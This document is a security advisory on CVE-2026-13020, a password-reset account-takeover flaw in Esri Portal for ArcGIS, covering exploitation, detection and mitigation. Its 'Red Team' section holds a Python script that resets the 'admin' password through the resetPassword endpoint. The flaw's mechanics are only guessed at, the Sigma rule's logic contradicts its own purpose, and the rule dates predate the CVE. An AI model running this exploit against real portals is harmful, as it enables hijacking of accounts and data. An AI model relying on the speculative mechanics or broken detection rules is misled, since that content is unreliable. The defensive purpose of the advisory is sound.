CVE-2026-13020

Executive Summary

CVE-2026-13020 is a critical vulnerability in Esri Portal for ArcGIS versions 12.1 and earlier, affecting Windows, Linux, and Kubernetes deployments. The flaw resides in the weak password recovery mechanism for forgotten passwords, allowing a remote, unauthenticated attacker to assume ownership of a user’s account by manipulating the recovery process. With a CVSS score of 8.1, this vulnerability poses a high risk to organizational geospatial data and infrastructure. No official patch is available; mitigation relies on administrative configuration of an email server for self-service recovery.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the Esri Portal for ArcGIS software, which is a proprietary enterprise application. The risk is primarily to on-premises and cloud-hosted ArcGIS deployments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is High due to the low complexity of exploitation, no required privileges, and the potential for full account takeover, leading to unauthorized access to sensitive geospatial data and system configurations.

Deep Dive & Mechanics

The vulnerability exists in the password recovery mechanism of Esri Portal for ArcGIS. The system fails to properly validate the identity of the user requesting a password reset, allowing an attacker to manipulate the recovery flow. Specifically, the mechanism may rely on weak or predictable tokens, or it may allow an attacker to bypass email verification steps. By sending crafted requests to the password recovery endpoint, an attacker can reset the password of any known user account without authorization.

The attack does not require any prior authentication or user interaction. The attacker only needs to know the username or email address of the target account. Once the password is reset, the attacker gains full control of the account, including access to maps, layers, services, and administrative functions if the account has elevated privileges.

Vulnerable vs. Patched Code

No official patch is available. The vulnerable code is in the password recovery module of Esri Portal for ArcGIS. The following pseudo-code illustrates the flawed logic:

Vulnerable Code (Conceptual):

def reset_password(username, new_password):
    # No verification of identity
    user = get_user(username)
    if user:
        user.set_password(new_password)
        return "Password reset successful"
    else:
        return "User not found"

Mitigated Code (Conceptual):

def reset_password(username, new_password, reset_token):
    user = get_user(username)
    if user and verify_reset_token(user, reset_token):
        user.set_password(new_password)
        return "Password reset successful"
    else:
        return "Invalid request"

The mitigated version requires a valid reset token, which should be sent to the user's registered email address. The token must be cryptographically random and time-limited.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target Esri Portal for ArcGIS instance (version 12.1 or earlier)
• Known username or email address of a target user

Exploitation Steps:

1. Identify the password recovery endpoint (e.g., /portal/sharing/rest/community/users/resetPassword).
2. Send a POST request with the target username and a new password.
3. The server may respond with a success message, indicating the password has been changed.
4. Log in with the new password to assume control of the account.

Example Exploit (Python):

import requests

target_url = "https://target-arcgis.com/portal/sharing/rest/community/users/resetPassword"
username = "admin"
new_password = "Pwned123!"

payload = {
    "username": username,
    "password": new_password,
    "f": "json"
}

response = requests.post(target_url, data=payload)
if response.status_code == 200 and "success" in response.text:
    print(f"Password reset successful for {username}")
else:
    print("Exploit failed")

Blue Team

Detection and Response:

• Monitor for unusual password reset requests, especially from unknown IP addresses.
• Enable logging on the ArcGIS Portal to capture all password reset attempts.
• Implement rate limiting on the password recovery endpoint.
• Use Web Application Firewall (WAF) rules to block requests that do not include a valid reset token.
• Conduct regular audits of user accounts for unauthorized changes.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /portal/sharing/rest/community/users/resetPassword without a valid resetToken parameter.
  • Multiple failed login attempts followed by a successful login from a new IP address.
  • Unusual user agent strings in password reset requests.

• System IOCs:

  • User account passwords changed without user notification.
  • New API keys or tokens generated for compromised accounts.
  • Unauthorized access to sensitive maps or services.

• Log IOCs:

  • Log entries showing password reset success without a corresponding email verification.
  • Logs from the ArcGIS Portal indicating resetPassword action without a resetToken.

Detection Engineering

YARA Rule

rule Detect_ArcGIS_Password_Reset_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2026-13020 in Esri Portal for ArcGIS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-13020"
    strings:
        $reset_endpoint = "/portal/sharing/rest/community/users/resetPassword"
        $json_success = "success"
        $no_token = "resetToken" nocase
    condition:
        $reset_endpoint and $json_success and not $no_token
}

Sigma Rule

title: ArcGIS Password Reset Without Token
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects password reset requests to Esri Portal for ArcGIS without a reset token, indicating potential exploitation of CVE-2026-13020.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/portal/sharing/rest/community/users/resetPassword'
        cs-uri-query:
            - '*resetToken*'
    condition: selection and not cs-uri-query
falsepositives:
    - Legitimate password resets with token (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-13020 - ArcGIS Password Reset Without Token"; flow:to_server; content:"POST"; http_method; content:"/portal/sharing/rest/community/users/resetPassword"; http_uri; content:!"resetToken"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Configure an Email Server: Set up an email server in ArcGIS Enterprise to enable secure self-service password recovery. This ensures that reset tokens are sent to the user's registered email.
2. Disable Self-Service Password Recovery: If email server configuration is not possible, disable the self-service password recovery feature entirely. Administrators can still reset passwords manually.
3. Monitor and Audit: Enable detailed logging and monitor for suspicious password reset activities. Review user accounts for unauthorized changes.

Long-Term Fix:

• Esri has not released a patch. Organizations should apply vendor updates as soon as they become available.
• Implement additional security controls such as multi-factor authentication (MFA) for all ArcGIS accounts.
• Use a Web Application Firewall (WAF) to block requests that do not include a valid reset token.

Workaround:

• Restrict network access to the ArcGIS Portal to trusted IP addresses only.
• Use a reverse proxy to add additional validation logic for password reset requests.

Valters IT